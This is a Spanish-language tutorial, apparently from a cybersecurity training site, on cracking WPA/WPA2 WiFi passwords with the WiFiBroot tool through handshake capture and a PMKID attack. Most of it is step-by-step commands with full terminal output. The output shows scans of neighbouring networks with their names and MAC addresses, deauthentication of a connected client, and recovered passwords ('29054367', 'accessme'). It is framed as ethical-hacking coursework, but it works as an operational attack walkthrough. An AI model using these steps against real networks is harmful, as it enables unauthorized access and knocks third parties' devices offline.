Existen muchas herramientas para romper las contraseñas de los puntos de acceso WiFi. Actualmente, la mayoría de estas redes usan autenticación WPA/WPA2; según especialistas en hacking ético del Instituto Internacional de Seguridad Cibernética (IICS), el métido de autenticación más utilizado es el WPA2. A continuación, le mostraremos cómo romper ese método de cifrado con un handshake de 4 vías y un ataque PMKID.
Handshake de 4 vías
Se crea un protocolo de handshake de cuatro vías para que el cliente inalámbrico y el punto de acceso puedan conocer el PSK de forma independiente. En lugar de decirse las claves entre sí, pueden transferir mensajes cifrados entre sí. El handshake cuatro vías es fundamental para proteger el PSK de los puntos de acceso infectados y se usa para generar claves PTK de clave transitoria por pares.
PMKID es una identificación única utilizada por el punto de acceso para localizar el PMK usado por el cliente. Usando este método, el hacker se comunicará con el punto de acceso vulnerable directamente en lugar de capturar la comunicación entre el punto de acceso y el cliente. Anteriormente los expertos en hacking ético del IICS demostraron ser capaces de hackear cualquier conexión inalámbrica.
Configurar interfaz inalámbrica
Para configurar la interfaz inalámbrica, conecte su interfaz inalámbrica con Linux. Abra el terminal y escriba iwconfig para verificar si la interfaz inalámbrica está conectada. Luego escriba airmon-ng check wlan0
Escriba airmon-ng start wlano
Escriba iwconfig para verificar si la interfaz inalámbrica se ha iniciado en modo monitor
root@kali:/home/iicybersecurity/Downloads/WiFiBroot# iwconfig
eth0 no wireless extensions.
lo no wireless extensions.
wlan0mon IEEE 802.11 Mode:Monitor Frequency:2.462 GHz Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:off
Descargar e instalar WIFIBROOT
Le mostraremos cómo romper el handshake de cuatro vías. Para las pruebas usaremos Kali Linux 2019.1 amd64
Asegúrese de que python3 esté instalado. Para esto, teclee sudo apt-get update && sudo apt-get install python3. Luego escriba sudo apt-get install python3-pip
Abra el terminal y escriba git https://github.com/hash3liZer/WiFiBroot.git
Escriba cd WiFiBroot && ls
root@kali:/home/iicybersecurity/Downloads# git clone https://github.com/hash3liZer/WiFiBroot.git
Cloning into 'WiFiBroot'…
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Compressing objects: 100% (3/3), done.
remote: Total 276 (delta 0), reused 1 (delta 0), pack-reused 273
Receiving objects: 100% (276/276), 504.20 KiB | 347.00 KiB/s, done.
Resolving deltas: 100% (166/166), done.
root@kali:/home/iicybersecurity/Downloads# cd WiFiBroot/
root@kali:/home/iicybersecurity/Downloads/WiFiBroot# ls
dicts handshakes pull.py screen.py wifibroot.py
exceptions.py LICENSE README.md utils wireless
Escriba python wifibroot.py
root@kali:/home/iicybersecurity/Downloads/WiFiBroot# python wifibroot.py
Traceback (most recent call last):
File "wifibroot.py", line 19, in
from wireless import Shifter
File "/home/iicybersecurity/Downloads/WiFiBroot/wireless/init.py", line 3, in
from wireless.cracker import PSK
File "/home/iicybersecurity/Downloads/WiFiBroot/wireless/cracker.py", line 6, in
from pbkdf2 import PBKDF2
ImportError: No module named pbkdf2
Si se encuentra el error anterior, escriba pip install pbkdf2
Luego escriba python wifibroot.py
root@kali:/home/iicybersecurity/Downloads/WiFiBroot# python wifibroot.py -h
_ ___ ___ ___ ___ ___
\\ _ /\*\___*\__\\__\/ \ / \\___
\ \\ \\\ \\__\\ /\ ) \\ ) \\ \
\__\\__\\\ \\__\\ \\__ / \___/ \__\
v1.0. Coded by @hash3liZer.
Syntax:
$ python wifibroot.py [--mode [modes]] [--options]
$ python wifibroot.py --mode 2 -i wlan1mon --verbose -d /path/to/list -w pmkid.txt
Modes:
# Description Value
01 Capture 4-way handshake and crack MIC code 1
02 Captures and Crack PMKID (PMKID Attack) 2
03 Perform Manaul cracking on available
capture types. See --list-types 3
04 Deauthentication. Disconnect two stations
and jam the traffic. 4
Use -h, --help after -m, --mode to get help on modes.
Capturar y descifrar el handshake de cuatro vías
Escriba python wifibroot.py –mode 1 –type handshake -i wlan0mon –verbose -d /home/iicybersecurity/Downloads/WiFiBroot/dicts/list.txt
–mode 1 se utiliza para romper el apretón de manos de cuatro vías
-i wlan0mon es el adaptador WiFi utilizado para descifrar redes WiFi. Para crackear estamos usando TP-Link TL – WN722N V1
–verbose se usa para imprimir valores hash
-d se usa para la ruta del diccionario. Para las pruebas estamos utilizando el diccionario incorporado Wifibroot. Puede usar cualquier lista de palabras o crisis para descifrar contraseñas WiFi
root@kali:/home/iicybersecurity/Downloads/WiFiBroot# python wifibroot.py --mode 1 --type handshake -i wlan0mon --verbose -d /home/iicybersecurity/Downloads/WiFiBroot/dicts/list.txt
_ ___ ___ ___ ___ ___
\\ _ /\*\___*\__\\__\/ \ / \\___
\ \\ \\\ \\__\\ /\ ) \\ ) \\ \
\__\\__\\\ \\__\\ \\__ / \___/ \__\
v1.0. Coded by @hash3liZer.
- Path: {/home/iicybersecurity/Downloads/WiFiBroot/dicts/list.txt} Lines {42} [~] Channel Specified: NONE Hopper Status
[^] Scanning! Press [CTRL+C] to stop.
NO ESSID PWR ENC CIPHER AUTH CH BSSID VENDOR CL
---- ------------ ----- ----- -------- ------ ---- ----------------- -------- ----
1 HATHWAY -38 WPA2 CCMP PSK 10 8C:E1:17:8D:5C:E4 zte 2
2 ZTE-ae1e0e -40 WPA2 CCMP PSK 1 88:5D:FB:AE:1E:0E zte 0
3 MTNL_HOTSPOT -78 WPA2 TKIP PSK 11 0C:D2:B5:2C:55:5D Binatone 1
4 Neon`Sunny -87 WPA2 TKIP PSK 1 34:E3:80:41:F8:68 Genexis 0
5 TP-LINK_D9D6 -87 WPA2 CCMP PSK 1 98:DE:D0:A7:D9:D6 TP-LINK 0
Presione Ctrl + C para detener el escaneo. Aquí nuestro objetivo es MTNL_HOTSPOT
Ingrese 3 para descifrar MTNL_HOTSPOT
[] Changing Channel to 11 [SuccessFul]
Ingrese n
[?] AP Clients [1] Scan Further?[Y/n] n
[] Time Interval [15] -> Implies Gap b/w Frames is 15
Luego se envía la de-autenticación a los clientes conectados. A continuación se muestra un dispositivo conectado con el punto de acceso
[^] 32-> 8CBEBE314C0F (Xiaomi) >< 0CD2B52C555D (Binatone) [Deauthentication]
[^] 32-> 8CBEBE314C0F (Xiaomi) >< 0CD2B52C555D (Binatone) [Deauthentication]
[^] 32-> 8CBEBE314C0F (Xiaomi) >< 0CD2B52C555D (Binatone) [Deauthentication]
Como el usuario ingresará la contraseña en su propio dispositivo, Wifibroot capturará el handshake y la contraseña
- Handshake 0CD2B52C555D (Binatone) [Captured] [!] Handshake not saved. Use -w, --write for saving handshakes.
- Found: 29054367 [>] PMK:
- Path: {dicts/list.txt} Lines {42} [~] Channel Specified: NONE Hopper Status
[^] Current Password: 29054367
00000000: 74 0a ac 04 01 16 0c dd 73 fb 4e fa 50 17 18 7f |t…….s.N.P…|
00000010: a1 c0 92 36 45 20 94 15 79 42 17 bb e2 21 5d 42 |…6E…yB…!]B|
[>] PTK:
00000000: 95 5f ee 82 ca c3 a2 b5 b1 a1 75 4a 11 a2 d8 05 |._……..uJ….|
00000010: 49 08 62 ec 2b b9 e6 12 13 bd f8 53 7a 0d ce a0 |I.b.+……Sz…|
00000020: 5c 4f d1 ca 04 32 4c bb f4 6a 27 21 83 26 b3 ad |\O…2L..j'!.&..|
00000030: 84 42 fb e4 49 b7 e4 e2 65 03 58 d2 30 f2 35 cb |.B..I…e.X.0.5.|
[>] MIC:
00000000: da 86 9b 74 b7 d5 aa 67 2a 7d 78 aa 30 0e df e4 |…t…g*}x.0…|
00000010: 29 9a d2 de
Arriba se muestra que la contraseña actual es 29054367
Todos estos escenarios son parte de los cursos de hacking ético ofrecidos por el Instituto Internacional de Seguridad Cibernética
Capturar y descifrar PMKID
Escriba python wifibroot.py –mode 2 -i wlan0mon –verbose -d dicts/list.txt -w output.txt
–mode 2 se utiliza captura y crack PMKID
-i wlan0mon es el adaptador wifi utilizado para descifrar redes WiFi. Para el craqueo estamos usando TP-Link TL – WN722N V1
–verbose se usa para imprimir valores hash
-d se usa para la ruta del diccionario. Para las pruebas estamos utilizando el diccionario incorporado Wifibroot. Puede usar cualquier lista de palabras
-w output.txt guardará el PMKID
root@kali:/home/iicybersecurity/Downloads/WiFiBroot# python wifibroot.py --mode 2 -i wlan0mon --verbose -d dicts/list.txt -w output.txt
_ ___ ___ ___ ___ ___
\\ _ /\*\___*\__\\__\/ \ / \\___
\ \\ \\\ \\__\\ /\ ) \\ ) \\ \
\__\\__\\\ \\__\\ \\__ / \___/ \__\
v1.0. Coded by @hash3liZer.
[^] Scanning! Press [CTRL+C] to stop.
Presione Ctrl + C para detener el escaneo. Aquí nuestro objetivo es new_T03_T1
NO ESSID PWR ENC CIPHER AUTH CH BSSID VENDOR CL
---- -------------------------------- ----- -------- -------- ------ ---- ----------------- -------- ----
1 Pankaj@9212458712 -23 WPA2 CCMP PSK 6 18:A6:F7:9B:27:DC TP-LINK 0
2 Cbi -29 WPA2 CCMP PSK 2 00:E0:4C:3B:37:08 REALTEK 0
3 naidus -45 WPA CCMP PSK 2 C8:3A:35:0B:26:08 Tenda 0
4 Lucky -47 WPA2 TKIP PSK 1 54:B8:0A:07:82:D2 D-Link 0
5 new_T03_T1 -50 WPA2 TKIP PSK 11 90:8D:78:F2:95:E3 D-Link 3
6 DIRECT-28-HP DeskJet 2600 series -59 WPA2 CCMP PSK 6 B4:B6:86:65:DC:29 Hewlett 0
7 Worldview@37 -76 WPA2 CCMP PSK 1 04:95:E6:A2:58:20 Tenda 0
8 Sushil@WVC9312408388 -84 WPA CCMP PSK 11 0C:D2:B5:3D:0D:3C Binatone 0
9 Excitel -85 WPA2 CCMP PSK 6 00:1E:A6:DB:B3:C0 Best 0
10 Bunty -86 WPA2 CCMP PSK 7 04:95:E6:87:AB:48 Tenda 0
11 Excitel@43 -86 WPA2/WPA CCMP PSK 7 C8:3A:35:46:BA:F8 Tenda 0
12 Worldview@tanpreet -88 WPA2 TKIP PSK 13 A0:AB:1B:D9:09:08 D-Link 0
Ingrese 5 para descifrar new_T03_T1
[^] 3 Frames C04A0016044D (TP-LINK) > 908D78F295E3 (D-Link) [Open Authentication]
[^] 2 Frames C04A0016044D (TP-LINK) > 908D78F295E3 (D-Link) [Open Authentication]
[^] 1 Frames C04A0016044D (TP-LINK) > 908D78F295E3 (D-Link) [Open Authentication]
[^] 3 Frames C04A0016044D (TP-LINK) > 908D78F295E3 (D-Link) [Open Authentication]
[^] 2 Frames C04A0016044D (TP-LINK) > 908D78F295E3 (D-Link) [Open Authentication]
[^] 1 Frames C04A0016044D (TP-LINK) > 908D78F295E3 (D-Link) [Open Authentication]
[^] 3 Frames C04A0016044D (TP-LINK) > 908D78F295E3 (D-Link) [Open Authentication]
[^] 2 Frames C04A0016044D (TP-LINK) > 908D78F295E3 (D-Link) [Open Authentication]
[^] 1 Frames C04A0016044D (TP-LINK) > 908D78F295E3 (D-Link) [Open Authentication]
[] Received C04A0016044D (TP-LINK) < 908D78F295E3 (D-Link) [Open Authentication] [] Authentication 908D78F295E3 (D-Link) > C04A0016044D (TP-LINK) [SuccessFull]
[^] 4 Frames C04A0016044D (TP-LINK) > 908D78F295E3 (D-Link) [Association Request]
[^] 3 Frames C04A0016044D (TP-LINK) > 908D78F295E3 (D-Link) [Association Request]
[] Received C04A0016044D (TP-LINK) < 908D78F295E3 (D-Link) [Association Response] [] Authentication 908D78F295E3 (D-Link) > C04A0016044D (TP-LINK) [SuccessFull]
[] EAPOL 908D78F295E3 (D-Link) > C04A0016044D (TP-LINK) [Waiting…]
[] Received C04A0016044D (TP-LINK) < 908D78F295E3 (D-Link) [Association Response]
[] Received C04A0016044D (TP-LINK) < 908D78F295E3 (D-Link) [Association Response]
[] Received C04A0016044D (TP-LINK) < 908D78F295E3 (D-Link) [Association Response]
[] Received C04A0016044D (TP-LINK) < 908D78F295E3 (D-Link) [Association Response]
[] Received C04A0016044D (TP-LINK) < 908D78F295E3 (D-Link) [Association Response]
[] Received C04A0016044D (TP-LINK) < 908D78F295E3 (D-Link) [Association Response]
[] EAPOL 908D78F295E3 (D-Link) > C04A0016044D (TP-LINK) [Initiated]
[^] EAPOL 908D78F295E3 (D-Link) > C04A0016044D (TP-LINK) [1 of 4]
[~] Vulnerable to PMKID Attack!
[^] PMKID 908D78F295E3 (D-Link) [a31f70cc4ed5cabb67ae4d56f11ec0b6]
- PMKID -> [output.txt] [Saved] [^] Currently Checking: accessme
- Password Found: accessme [>] PMKID:
00000000: 61 33 31 66 37 30 63 63 34 65 64 35 63 61 62 62 |a31f70cc4ed5cabb|
00000010: 36 37 61 65 34 64 35 36 66 31 31 65 63 30 62 36 |67ae4d56f11ec0b6|
[>] PMK:
00000000: 93 89 96 03 d0 e8 ab bd e8 8b f1 1b fb 8f 05 18 |…………….|
00000010: 58 1e e3 cb 6d 2b ff 0d b4 96 b4 fa 74 57 bd 77 |X…m+……tW.w|
Arriba se muestra la contraseña del punto de acceso objetivo